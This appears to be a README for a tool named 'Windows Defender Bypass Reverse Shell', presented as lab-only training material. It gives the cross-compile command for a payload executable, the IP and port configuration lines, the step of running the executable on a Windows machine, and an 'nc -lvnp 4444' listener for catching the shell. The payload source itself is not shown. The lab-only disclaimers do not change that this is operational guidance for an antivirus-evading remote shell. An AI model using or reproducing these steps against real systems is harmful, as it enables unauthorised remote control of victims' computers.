Windows Defender Bypass Reverse Shell

---

Short description

Educational reverse shell for lab testing.
Do not use on systems you do not control.

---

Highlights

• Purpose: training and isolated lab testing only.
• Cross-compiled Windows executable.
• Single IP config point in code.
• Transfer and run only inside an isolated VM you control.

---

Build

Run this cross-compile command on your build host:

x86_64-w64-mingw32-g++ payload.cpp -o reverse.exe -static -lws2_32 -lshlwapi -lcomctl32

---

Configuration

Edit one place in the source:

// CONFIGURE_ME: change to your test-lab IP only
const char* SERVER_IP = "127.0.0.1";
const int SERVER_PORT = 4444;

---

Run (on test Windows VM)

Open cmd.exe or PowerShell on the isolated Windows VM:

reverse.exe

---

Listener (control machine)

Use a simple TCP listener on your control machine:

nc -lvnp 4444

---

Recommended practices

• Create an isolated test network.
• Use VMs you fully control.
• Transfer files with controlled methods (SCP, secured share).
• Never target third-party systems without explicit permission.
